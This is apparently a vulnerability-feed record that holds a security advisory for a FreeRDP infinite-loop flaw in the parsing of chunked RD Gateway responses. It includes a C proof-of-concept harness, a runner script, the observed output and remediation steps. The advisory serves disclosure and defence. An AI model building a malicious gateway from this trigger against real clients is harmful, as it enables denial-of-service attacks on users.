{"schema":"threatline.record/2","record":{"id":"GHSA-7vfc-chg9-q5r8","aliases":["GHSA-7vfc-chg9-q5r8"],"summary":"Clean TLS shutdown during a chunked RD Gateway response causes an infinite loop","details":"### Summary\r\n\r\nWhen a FreeRDP client connects through a malicious or compromised RD Gateway, the gateway can select HTTP chunked transfer encoding, send an incomplete chunk-size line or chunk footer, and then complete a clean TLS shutdown. FreeRDP's production TLS BIO returns `0` after `SSL_read` reports `SSL_ERROR_ZERO_RETURN`, but `http_chuncked_read` treats every nonnegative result as progress. With `status == 0`, neither `headerFooterPos` nor the destination pointer advances, so the chunk-size or footer loop never exits.\r\n\r\nThis is specifically a clean-EOF flaw. A memory BIO with no available input returns retryable `-1`, and FreeRDP returns that error without hanging. A TLS peer's valid `close_notify` produces the zero return required by the vulnerable path.\r\n\r\nThe relevant size-line logic in `libfreerdp/core/gateway/http.c` is:\r\n\r\n```c\r\nstatus = BIO_read(bio, dst, 1);\r\nif (status >= 0)\r\n{\r\n\tif (*dst == '\\n')\r\n\t\t_haveNewLine = TRUE;\r\n\tencodingContext->headerFooterPos += (size_t)status;\r\n\tdst += status;\r\n}\r\nelse\r\n\treturn (effectiveDataLen > 0 ? effectiveDataLen : status);\r\n```\r\n\r\nThe two-byte footer uses the same `status >= 0` condition. FreeRDP's TLS wrapper in `libfreerdp/crypto/tls.c` exposes the production trigger:\r\n\r\n```c\r\nstatus = SSL_read(tls->ssl, buf, size);\r\nerror = SSL_get_error(tls->ssl, status);\r\n\r\n/* ... */\r\n\r\ncase SSL_ERROR_ZERO_RETURN:\r\n\tBIO_clear_flags(bio, BIO_FLAGS_SHOULD_RETRY);\r\n\tbreak;\r\n\r\n/* ... */\r\nreturn status;\r\n```\r\n\r\nThe vulnerable state machine was introduced with RD Gateway chunked-transfer support. Release 2.2.0 does not contain it. Every inspected release from 2.3.0 through 3.31.1 does, including all 55 inspected 3.x tags, and current `master` remains affected. FreeRDP's outer gateway timeout cannot fire because the inner decoder never returns. Searches of the official public history found the feature request and introducing PR #6734, but no report or fix for clean EOF in these loops.\r\n\r\nThe demonstrated effect is a deterministic infinite loop in the client decoder thread. The report does not claim memory corruption, credential compromise, code execution, or a TLS bypass. The victim must initiate a connection through the malicious or compromised gateway.\r\n\r\n### Reproduction\r\n\r\nThe PoC compiles the real `http_chuncked_read` function from FreeRDP 3.31.1 and runs four cases: a valid body, retryable no-data, clean EOF after a partial size line, and clean EOF after one footer byte. The two trigger cases are bounded by a two-second safety timeout.\r\n\r\nRequirements are a FreeRDP 3.31.1 source checkout, its completed build directory, a C compiler, OpenSSL development files, and the POSIX `timeout` utility. From the report directory:\r\n\r\n```sh\r\ncd poc\r\nexport FREERDP_SRC=\"$PWD/freerdp-source\"\r\nexport FREERDP_BUILD=\"$PWD/freerdp-build\"\r\nsh ./run.sh\r\n```\r\n\r\nObserved output against the exact 3.31.1 parser source:\r\n\r\n```text\r\ncase=valid begin\r\ncase=valid returned=5 state=3 position=0\r\ncase=retry begin\r\ncase=retry returned=-1 state=0 position=1\r\ncase=header-clean-eof begin\r\ncase=header-clean-eof timeout_status=124\r\ncase=footer-clean-eof begin\r\ncase=footer-clean-eof timeout_status=124\r\nresult=PASS\r\n```\r\n\r\nThe status-124 results mean the processes were stopped by the safety timeout without returning from the decoder. The script fails if either trigger prints a `returned` line.\r\n\r\n<!-- BEGIN FILE: http_chunked_eof.c -->\r\n```c\r\n#include <errno.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include \"libfreerdp/core/gateway/http.c\"\r\n\r\ntypedef enum\r\n{\r\n\tSOURCE_CLEAN_EOF,\r\n\tSOURCE_RETRY\r\n} source_end;\r\n\r\ntypedef struct\r\n{\r\n\tconst char* data;\r\n\tsize_t length;\r\n\tsize_t offset;\r\n\tsource_end end;\r\n} source_state;\r\n\r\nstatic int source_read(BIO* bio, char* buffer, int length)\r\n{\r\n\tsource_state* state = (source_state*)BIO_get_data(bio);\r\n\tBIO_clear_retry_flags(bio);\r\n\r\n\tif (!state || !buffer || (length <= 0))\r\n\t\treturn 0;\r\n\r\n\tif (state->offset < state->length)\r\n\t{\r\n\t\tbuffer[0] = state->data[state->offset++];\r\n\t\treturn 1;\r\n\t}\r\n\r\n\tif (state->end == SOURCE_RETRY)\r\n\t{\r\n\t\tBIO_set_retry_read(bio);\r\n\t\treturn -1;\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\nstatic int source_write(BIO* bio, const char* buffer, int length)\r\n{\r\n\t(void)bio;\r\n\t(void)buffer;\r\n\treturn length;\r\n}\r\n\r\nstatic long source_ctrl(BIO* bio, int command, long number, void* pointer)\r\n{\r\n\t(void)bio;\r\n\t(void)command;\r\n\t(void)number;\r\n\t(void)pointer;\r\n\treturn 1;\r\n}\r\n\r\nstatic int source_create(BIO* bio)\r\n{\r\n\tBIO_set_init(bio, 1);\r\n\treturn 1;\r\n}\r\n\r\nstatic int source_destroy(BIO* bio)\r\n{\r\n\t(void)bio;\r\n\treturn 1;\r\n}\r\n\r\nstatic BIO* source_new(source_state* state, BIO_METHOD** output_method)\r\n{\r\n\tif (!output_method)\r\n\t\treturn NULL;\r\n\r\n\t*output_method = NULL;\r\n\tBIO_METHOD* method = BIO_meth_new(BIO_TYPE_SOURCE_SINK, \"controlled-source\");\r\n\tif (!method)\r\n\t\treturn NULL;\r\n\r\n\tBIO_meth_set_read(method, source_read);\r\n\tBIO_meth_set_write(method, source_write);\r\n\tBIO_meth_set_ctrl(method, source_ctrl);\r\n\tBIO_meth_set_create(method, source_create);\r\n\tBIO_meth_set_destroy(method, source_destroy);\r\n\r\n\tBIO* bio = BIO_new(method);\r\n\tif (bio)\r\n\t{\r\n\t\tBIO_set_data(bio, state);\r\n\t\t*output_method = method;\r\n\t}\r\n\telse\r\n\t\tBIO_meth_free(method);\r\n\treturn bio;\r\n}\r\n\r\nstatic int run_case(const char* name)\r\n{\r\n\thttp_encoding_chunked_context context = WINPR_C_ARRAY_INIT;\r\n\tBYTE output[64] = WINPR_C_ARRAY_INIT;\r\n\tsource_state source = WINPR_C_ARRAY_INIT;\r\n\r\n\tif (strcmp(name, \"valid\") == 0)\r\n\t{\r\n\t\tsource.data = \"5\\r\\nhello\\r\\n0\\r\\n\\r\\n\";\r\n\t\tsource.length = strlen(source.data);\r\n\t\tsource.end = SOURCE_RETRY;\r\n\t\tcontext.state = ChunkStateLenghHeader;\r\n\t}\r\n\telse if (strcmp(name, \"retry\") == 0)\r\n\t{\r\n\t\tsource.data = \"5\";\r\n\t\tsource.length = 1;\r\n\t\tsource.end = SOURCE_RETRY;\r\n\t\tcontext.state = ChunkStateLenghHeader;\r\n\t}\r\n\telse if (strcmp(name, \"header-clean-eof\") == 0)\r\n\t{\r\n\t\tsource.data = \"5\";\r\n\t\tsource.length = 1;\r\n\t\tsource.end = SOURCE_CLEAN_EOF;\r\n\t\tcontext.state = ChunkStateLenghHeader;\r\n\t}\r\n\telse if (strcmp(name, \"footer-clean-eof\") == 0)\r\n\t{\r\n\t\tsource.data = \"\\r\";\r\n\t\tsource.length = 1;\r\n\t\tsource.end = SOURCE_CLEAN_EOF;\r\n\t\tcontext.state = ChunkStateFooter;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tfprintf(stderr,\r\n\t\t        \"usage: %s valid|retry|header-clean-eof|footer-clean-eof\\n\",\r\n\t\t        name);\r\n\t\treturn 2;\r\n\t}\r\n\r\n\tBIO_METHOD* method = NULL;\r\n\tBIO* bio = source_new(&source, &method);\r\n\tif (!bio)\r\n\t{\r\n\t\tfprintf(stderr, \"BIO allocation failed\\n\");\r\n\t\treturn 2;\r\n\t}\r\n\r\n\tfprintf(stderr, \"case=%s begin\\n\", name);\r\n\tconst int result = http_chuncked_read(bio, output, sizeof(output), &context);\r\n\tfprintf(stderr, \"case=%s returned=%d state=%d position=%zu\\n\", name, result,\r\n\t        (int)context.state, context.headerFooterPos);\r\n\tBIO_free(bio);\r\n\tBIO_meth_free(method);\r\n\treturn 0;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 2)\r\n\t{\r\n\t\tfprintf(stderr,\r\n\t\t        \"usage: %s valid|retry|header-clean-eof|footer-clean-eof\\n\",\r\n\t\t        argv[0]);\r\n\t\treturn 2;\r\n\t}\r\n\treturn run_case(argv[1]);\r\n}\r\n```\r\n<!-- END FILE: http_chunked_eof.c -->\r\n\r\n<!-- BEGIN FILE: run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nBASE_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nBUILD_DIR=${BUILD_DIR:-\"$BASE_DIR/.build\"}\r\nCC=${CC:-cc}\r\n: \"${FREERDP_SRC:?Set FREERDP_SRC to a FreeRDP 3.31.1 source checkout}\"\r\n: \"${FREERDP_BUILD:?Set FREERDP_BUILD to its completed build directory}\"\r\n\r\nFREERDP_LIB_DIR=${FREERDP_LIB_DIR:-\"$FREERDP_BUILD/libfreerdp\"}\r\nWINPR_LIB_DIR=${WINPR_LIB_DIR:-\"$FREERDP_BUILD/winpr/libwinpr\"}\r\nTIMEOUT=${TIMEOUT:-timeout}\r\n\r\nmkdir -p \"$BUILD_DIR\"\r\n\r\n\"$CC\" -std=gnu11 -w -O1 -g -ffunction-sections -fdata-sections \\\r\n\t-I\"$FREERDP_SRC\" \\\r\n\t-I\"$FREERDP_SRC/include\" \\\r\n\t-I\"$FREERDP_SRC/winpr/include\" \\\r\n\t-I\"$FREERDP_BUILD/include\" \\\r\n\t-I\"$FREERDP_BUILD/winpr/include\" \\\r\n\t${EXTRA_CPPFLAGS:-} \\\r\n\t\"$BASE_DIR/http_chunked_eof.c\" \\\r\n\t-L\"$FREERDP_LIB_DIR\" -L\"$WINPR_LIB_DIR\" \\\r\n\t-Wl,--gc-sections -Wl,-rpath,\"$FREERDP_LIB_DIR\" -Wl,-rpath,\"$WINPR_LIB_DIR\" \\\r\n\t-lfreerdp3 -lwinpr3 -lssl -lcrypto -lz -lpthread \\\r\n\t${EXTRA_LDFLAGS:-} \\\r\n\t-o \"$BUILD_DIR/http_chunked_eof\"\r\n\r\nrun_returning_case()\r\n{\r\n\tname=$1\r\n\texpected=$2\r\n\toutput=$($TIMEOUT 2 \"$BUILD_DIR/http_chunked_eof\" \"$name\" 2>&1)\r\n\tprintf '%s\\n' \"$output\"\r\n\tprintf '%s\\n' \"$output\" | grep -F \"$expected\" >/dev/null\r\n}\r\n\r\nrun_hanging_case()\r\n{\r\n\tname=$1\r\n\tset +e\r\n\toutput=$($TIMEOUT 2 \"$BUILD_DIR/http_chunked_eof\" \"$name\" 2>&1)\r\n\tstatus=$?\r\n\tset -e\r\n\tprintf '%s\\n' \"$output\"\r\n\tprintf 'case=%s timeout_status=%s\\n' \"$name\" \"$status\"\r\n\ttest \"$status\" -eq 124\r\n\tif printf '%s\\n' \"$output\" | grep -F ' returned=' >/dev/null; then\r\n\t\techo \"unexpected return from $name\" >&2\r\n\t\treturn 1\r\n\tfi\r\n}\r\n\r\nrun_returning_case valid 'case=valid returned=5'\r\nrun_returning_case retry 'case=retry returned=-1'\r\nrun_hanging_case header-clean-eof\r\nrun_hanging_case footer-clean-eof\r\n\r\necho 'result=PASS'\r\n```\r\n<!-- END FILE: run.sh -->\r\n\r\n### Remediation\r\n\r\nTreat `BIO_read` results less than or equal to zero as terminal in both `ChunkStateLenghHeader` and `ChunkStateFooter`; only a strictly positive return should advance or continue the parser state. Retain the outer timeout for retryable I/O, but do not rely on it to stop an inner no-progress loop.\r\n\r\nAdd regression tests for a complete chunked body, retryable no-data, clean EOF before and during the size line, clean EOF after zero and one footer bytes, and clean EOF during chunk data. The header and footer EOF tests should return promptly without an external timeout.\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-7vfc-chg9-q5r8","source_modified_at":"2026-09-29T07:28:41Z","fetched_at":"2026-10-25T05:59:55.871881Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 2.3.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-7vfc-chg9-q5r8","source_modified_at":"2026-09-29T07:28:41Z","fetched_at":"2026-10-25T05:59:55.871881Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T07:28:41Z","modified_at":"2026-09-29T07:28:41Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-7vfc-chg9-q5r8","fetched_at":"2026-10-25T05:59:55.871881Z","source_modified_at":"2026-09-29T07:28:41Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T07:28:41Z","content_hash":"cd7b0b6f9c2f72b48597597992c4d4410d3e21e201d78159ffc4515099fa66ae"}}
